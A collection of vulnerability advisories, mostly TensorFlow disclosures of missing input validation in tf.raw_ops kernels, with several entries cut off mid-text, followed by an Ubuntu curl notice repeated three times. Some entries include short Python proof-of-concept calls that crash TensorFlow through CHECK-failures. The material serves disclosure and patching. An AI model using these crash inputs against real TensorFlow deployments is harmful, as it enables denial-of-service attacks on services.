### Impact The implementation of [`tf.raw_ops.LSTMBlockCell`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/rnn/lstm_ops.cc) does not fully validate the input arguments. This results in a `CHECK`-failure which can be used to trigger a denial of service attack: ```python import tensorflow as tf tf.raw_ops.LSTMBlockCell( x=tf.constant(0.837607, shape=[28,29], dtype=tf.float32), cs_prev=tf.constant(0, shape=[28,17], dtype=tf.float32), h_prev=tf.constant(0.592631638, shape=[28,17], dtype=tf.float32), w=tf.constant(0.887386262, shape=[46,68], dtype=tf.float32), wci=tf.constant(0, shape=[], dtype=tf.float32), wcf=tf.constant(0, shape=[17], dtype=tf.float32), wco=tf.constant(0.592631638, shape=[28,17], dtype=tf.float32), b=tf.constant(0.75259006, shape=[68], dtype=tf.float32), forget_bias=1, cell_clip=0, use_peephole=False) ``` The code does not validate the ranks of any of the arguments to this API call...

### Impact The implementation of [`tf.raw_ops.LoadAndRemapMatrix`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/load_and_remap_matrix_op.cc#L70-L98) does not fully validate the input arguments. This results in a `CHECK`-failure which can be used to trigger a denial of service attack: ```python import tensorflow as tf ckpt_path = tf.constant( "/tmp/warm_starting_util_test5kl2a3pc/tmpph76tep2/model-0", shape=[], dtype=tf.string) old_tensor_name = tf.constant( "/tmp/warm_starting_util_test5kl2a3pc/tmpph76tep2/model-0", shape=[], dtype=tf.string) row_remapping = tf.constant(0, shape=[], dtype=tf.int64) col_remapping = tf.constant(3, shape=[3], dtype=tf.int64) initializing_values = tf.constant([], shape=[0, 1], dtype=tf.float32) tf.raw_ops.LoadAndRemapMatrix( ckpt_path=ckpt_path, old_tensor_name=old_tensor_name, row_remapping=row_remapping, col_remapping=col_remapping, initializing_values=initializing_va...

### Impact The implementation of [`tf.raw_ops.SparseTensorToCSRSparseMatrix`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/sparse/sparse_tensor_to_csr_sparse_matrix_op.cc#L65-L119) does not fully validate the input arguments. This results in a `CHECK`-failure which can be used to trigger a denial of service attack: ```python import tensorflow as tf indices = tf.constant(53, shape=[3], dtype=tf.int64) values = tf.constant(0.554979503, shape=[218650], dtype=tf.float32) dense_shape = tf.constant(53, shape=[3], dtype=tf.int64) tf.raw_ops.SparseTensorToCSRSparseMatrix( indices=indices, values=values, dense_shape=dense_shape) ``` The code assumes `dense_shape` is a vector and `indices` is a matrix (as part of requirements for sparse tensors) but there is no validation for this: ```cc const Tensor& indices = ctx->input(0); const Tensor& values = ctx->input(1); const Tensor& dense_shape = ctx->input(...

### Impact The implementation of [`tf.raw_ops.UnsortedSegmentJoin`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/unsorted_segment_join_op.cc#L92-L95) does not fully validate the input arguments. This results in a `CHECK`-failure which can be used to trigger a denial of service attack: ```python import tensorflow as tf tf.raw_ops.UnsortedSegmentJoin( inputs=tf.constant("this", shape=[12], dtype=tf.string), segment_ids=tf.constant(0, shape=[12], dtype=tf.int64), num_segments=tf.constant(0, shape=[12], dtype=tf.int64)) ``` The code assumes `num_segments` is a scalar but there is no validation for this before accessing its value: ```cc const Tensor& num_segments_tensor = context->input(2); OP_REQUIRES(context, num_segments_tensor.NumElements() != 0, errors::InvalidArgument("Number of segments cannot be empty.")); auto num_segments = num_segments_tensor.scalar<NUM_SEGMENTS_TYPE>()(); ``` ### Patches...

### Impact The implementation of [`tf.raw_ops.Conv3DBackpropFilterV2`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/conv_grad_ops_3d.cc) does not fully validate the input arguments. This results in a `CHECK`-failure which can be used to trigger a denial of service attack: ```python import tensorflow as tf tf.raw_ops.Conv3DBackpropFilterV2( input=tf.constant(.5053710941, shape=[2,2,2,2,1], dtype=tf.float16), filter_sizes=tf.constant(0, shape=[], dtype=tf.int32), out_backprop=tf.constant(.5053710941, shape=[2,2,2,2,1], dtype=tf.float16), strides=[1, 1, 1, 1, 1], padding="VALID", data_format="NDHWC", dilations=[1, 1, 1, 1, 1]) ``` The code does not validate that the `filter_sizes` argument is a vector. ### Patches We have patched the issue in GitHub commit [174c5096f303d5be7ed2ca2662b08371bff4ab88](https://github.com/tensorflow/tensorflow/commit/174c5096f303d5be7ed2ca2662b08371bff4ab88). The fix will ...

### Impact The implementation of [`tf.raw_ops.StagePeek`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/stage_op.cc#L261) does not fully validate the input arguments. This results in a `CHECK`-failure which can be used to trigger a denial of service attack: ```python import tensorflow as tf index = tf.constant([], shape=[0], dtype=tf.int32) tf.raw_ops.StagePeek(index=index, dtypes=[tf.int32]) ``` The code assumes `index` is a scalar but there is no validation for this before accessing its value: ```cc std::size_t index = ctx->input(0).scalar<int>()(); ``` ### Patches We have patched the issue in GitHub commit [cebe3c45d76357d201c65bdbbf0dbe6e8a63bbdb](https://github.com/tensorflow/tensorflow/commit/cebe3c45d76357d201c65bdbbf0dbe6e8a63bbdb). The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and...

### Impact The implementation of [`tf.raw_ops.DeleteSessionTensor`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/session_ops.cc#L128-L144) does not fully validate the input arguments. This results in a `CHECK`-failure which can be used to trigger a denial of service attack: ```python import tensorflow as tf handle = tf.constant("[]", shape=[0], dtype=tf.string) tf.raw_ops.DeleteSessionTensor(handle=handle) ``` The code assumes `handle` is a scalar but there is no validation for this: ```cc const Tensor& handle = ctx->input(0); const string& name = handle.scalar<tstring>()(); ``` ### Patches We have patched the issue in GitHub commit [cff267650c6a1b266e4b4500f69fbc49cdd773c5](https://github.com/tensorflow/tensorflow/commit/cff267650c6a1b266e4b4500f69fbc49cdd773c5). The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4...

### Impact The implementation of [`tf.raw_ops.QuantizeAndDequantizeV4Grad`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/quantize_and_dequantize_op.cc#L148-L226) does not fully validate the input arguments. This results in a `CHECK`-failure which can be used to trigger a denial of service attack: ```python import tensorflow as tf tf.raw_ops.QuantizeAndDequantizeV4Grad( gradients=tf.constant(1, shape=[2,2], dtype=tf.float64), input=tf.constant(1, shape=[2,2], dtype=tf.float64), input_min=tf.constant([], shape=[0], dtype=tf.float64), input_max=tf.constant(-10, shape=[], dtype=tf.float64), axis=-1) ``` The code assumes `input_min` and `input_max` are scalars but there is no validation for this. ### Patches We have patched the issue in GitHub commit [098e7762d909bac47ce1dbabe6dfd06294cb9d58](https://github.com/tensorflow/tensorflow/commit/098e7762d909bac47ce1dbabe6dfd06294cb9d58). The fix will be included ...

### Impact The implementation of [`tf.raw_ops.GetSessionTensor`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/session_ops.cc#L94-L112) does not fully validate the input arguments. This results in a `CHECK`-failure which can be used to trigger a denial of service attack: ```python import tensorflow as tf handle = tf.constant("[]", shape=[0], dtype=tf.string) tf.raw_ops.GetSessionTensor(handle=handle) ``` The code assumes `handle` is a scalar but there is no validation for this: ```cc const Tensor& handle = ctx->input(0); const string& name = handle.scalar<tstring>()(); ``` ### Patches We have patched the issue in GitHub commit [48305e8ffe5246d67570b64096a96f8e315a7281](https://github.com/tensorflow/tensorflow/commit/48305e8ffe5246d67570b64096a96f8e315a7281). The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as th...

### Impact The implementation of [`tf.raw_ops.TensorSummaryV2`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/summary_tensor_op.cc#L33-L58) does not fully validate the input arguments. This results in a `CHECK`-failure which can be used to trigger a denial of service attack: ```python import numpy as np import tensorflow as tf tf.raw_ops.TensorSummaryV2( tag=np.array('test'), tensor=np.array(3), serialized_summary_metadata=tf.io.encode_base64(np.empty((0)))) ``` The code assumes `axis` is a scalar but there is no validation for this. ```cc const Tensor& serialized_summary_metadata_tensor = c->input(2); // ... ParseFromTString(serialized_summary_metadata_tensor.scalar<tstring>()(), v->mutable_metadata()); ``` ### Patches We have patched the issue in GitHub commit [290bb05c80c327ed74fae1d089f1001b1e2a4ef7](https://github.com/tensorflow/tensorflow/commit/290bb05c80c327ed74fae1d089...

TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, TensorFlow's `saved_model_cli` tool is vulnerable to a code injection. This can be used to open a reverse shell. This code path was maintained for compatibility reasons as the maintainers had several test cases where numpy expressions were used as arguments. However, given that the tool is always run manually, the impact of this is still not severe. The maintainers have now removed the `safe=False` argument, so all parsing is done without calling `eval`. The patch is available in versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4.

TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, the implementation of `tf.histogram_fixed_width` is vulnerable to a crash when the values array contain `Not a Number` (`NaN`) elements. The implementation assumes that all floating point operations are defined and then converts a floating point result to an integer index. If `values` contains `NaN` then the result of the division is still `NaN` and the cast to `int32` would result in a crash. This only occurs on the CPU implementation. Versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4 contain a patch for this issue.

TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, certain TFLite models that were created using TFLite model converter would crash when loaded in the TFLite interpreter. The culprit is that during quantization the scale of values could be greater than 1 but code was always assuming sub-unit scaling. Thus, since code was calling `QuantizeMultiplierSmallerThanOneExp`, the `TFLITE_CHECK_LT` assertion would trigger and abort the process. Versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4 contain a patch for this issue.

TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, the `tf.compat.v1.signal.rfft2d` and `tf.compat.v1.signal.rfft3d` lack input validation and under certain condition can result in crashes (due to `CHECK`-failures). Versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4 contain a patch for this issue.

TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, the macros that TensorFlow uses for writing assertions (e.g., `CHECK_LT`, `CHECK_GT`, etc.) have an incorrect logic when comparing `size_t` and `int` values. Due to type conversion rules, several of the macros would trigger incorrectly. Versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4 contain a patch for this issue.

TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, the implementation of `tf.ragged.constant` does not fully validate the input arguments. This results in a denial of service by consuming all available memory. Versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4 contain a patch for this issue.

TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, the implementation of `tf.raw_ops.SpaceToBatchND` (in all backends such as XLA and handwritten kernels) is vulnerable to an integer overflow: The result of this integer overflow is used to allocate the output tensor, hence we get a denial of service via a `CHECK`-failure (assertion failure), as in TFSA-2021-198. Versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4 contain a patch for this issue.

TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, the implementation of `tf.raw_ops.UnsortedSegmentJoin` does not fully validate the input arguments. This results in a `CHECK`-failure which can be used to trigger a denial of service attack. The code assumes `num_segments` is a positive scalar but there is no validation. Since this value is used to allocate the output tensor, a negative value would result in a `CHECK`-failure (assertion failure), as per TFSA-2021-198. Versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4 contain a patch for this issue.

TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, there is a potential for segfault / denial of service in TensorFlow by calling `tf.compat.v1.*` ops which don't yet have support for quantized types, which was added after migration to TensorFlow 2.x. In these scenarios, since the kernel is missing, a `nullptr` value is passed to `ParseDimensionValue` for the `py_value` argument. Then, this is dereferenced, resulting in segfault. Versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4 contain a patch for this issue.

TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, the implementation of `tf.raw_ops.SparseTensorDenseAdd` does not fully validate the input arguments. In this case, a reference gets bound to a `nullptr` during kernel execution. This is undefined behavior. Versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4 contain a patch for this issue.

TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, the implementation of `tf.raw_ops.QuantizedConv2D` does not fully validate the input arguments. In this case, references get bound to `nullptr` for each argument that is empty. Versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4 contain a patch for this issue.

TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, the implementation of `tf.raw_ops.LoadAndRemapMatrix does not fully validate the input arguments. This results in a `CHECK`-failure which can be used to trigger a denial of service attack. The code assumes `initializing_values` is a vector but there is no validation for this before accessing its value. Versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4 contain a patch for this issue.

TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, the implementation of `tf.raw_ops.TensorSummaryV2` does not fully validate the input arguments. This results in a `CHECK`-failure which can be used to trigger a denial of service attack. Versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4 contain a patch for this issue.

TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, the implementation of `tf.raw_ops.StagePeek` does not fully validate the input arguments. This results in a `CHECK`-failure which can be used to trigger a denial of service attack. The code assumes `index` is a scalar but there is no validation for this before accessing its value. Versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4 contain a patch for this issue.

TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, the implementation of `tf.raw_ops.Conv3DBackpropFilterV2` does not fully validate the input arguments. This results in a `CHECK`-failure which can be used to trigger a denial of service attack. The code does not validate that the `filter_sizes` argument is a vector. Versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4 contain a patch for this issue.

TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, the implementation of `tf.raw_ops.SparseTensorToCSRSparseMatrix` does not fully validate the input arguments. This results in a `CHECK`-failure which can be used to trigger a denial of service attack. The code assumes `dense_shape` is a vector and `indices` is a matrix (as part of requirements for sparse tensors) but there is no validation for this. Versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4 contain a patch for this issue.

TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, the implementation of `tf.raw_ops.UnsortedSegmentJoin` does not fully validate the input arguments. This results in a `CHECK`-failure which can be used to trigger a denial of service attack. The code assumes `num_segments` is a scalar but there is no validation for this before accessing its value. Versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4 contain a patch for this issue.

TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, the implementation of `tf.raw_ops.LSTMBlockCell` does not fully validate the input arguments. This results in a `CHECK`-failure which can be used to trigger a denial of service attack. The code does not validate the ranks of any of the arguments to this API call. This results in `CHECK`-failures when the elements of the tensor are accessed. Versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4 contain a patch for this issue.

TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, the implementation of `tf.raw_ops.GetSessionTensor` does not fully validate the input arguments. This results in a `CHECK`-failure which can be used to trigger a denial of service attack. Versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4 contain a patch for this issue.

TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, the implementation of `tf.raw_ops.DeleteSessionTensor` does not fully validate the input arguments. This results in a `CHECK`-failure which can be used to trigger a denial of service attack. Versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4 contain a patch for this issue.

TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, The implementation of `tf.raw_ops.QuantizeAndDequantizeV4Grad` does not fully validate the input arguments. This results in a `CHECK`-failure which can be used to trigger a denial of service attack. Versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4 contain a patch for this issue.

Ubuntu Security Notice 5412-1 - Axel Chong discovered that curl incorrectly handled percent-encoded URL separators. A remote attacker could possibly use this issue to trick curl into using the wrong URL and bypass certain checks or filters. This issue only affected Ubuntu 22.04 LTS. Florian Kohnhuser discovered that curl incorrectly handled returning a TLS server's certificate chain details. A remote attacker could possibly use this issue to cause curl to stop responding, resulting in a denial of service.

Ubuntu Security Notice 5412-1 - Axel Chong discovered that curl incorrectly handled percent-encoded URL separators. A remote attacker could possibly use this issue to trick curl into using the wrong URL and bypass certain checks or filters. This issue only affected Ubuntu 22.04 LTS. Florian Kohnhuser discovered that curl incorrectly handled returning a TLS server's certificate chain details. A remote attacker could possibly use this issue to cause curl to stop responding, resulting in a denial of service.

Ubuntu Security Notice 5412-1 - Axel Chong discovered that curl incorrectly handled percent-encoded URL separators. A remote attacker could possibly use this issue to trick curl into using the wrong URL and bypass certain checks or filters. This issue only affected Ubuntu 22.04 LTS. Florian Kohnhuser discovered that curl incorrectly handled returning a TLS server's certificate chain details. A remote attacker could possibly use this issue to cause curl to stop responding, resulting in a denial of service.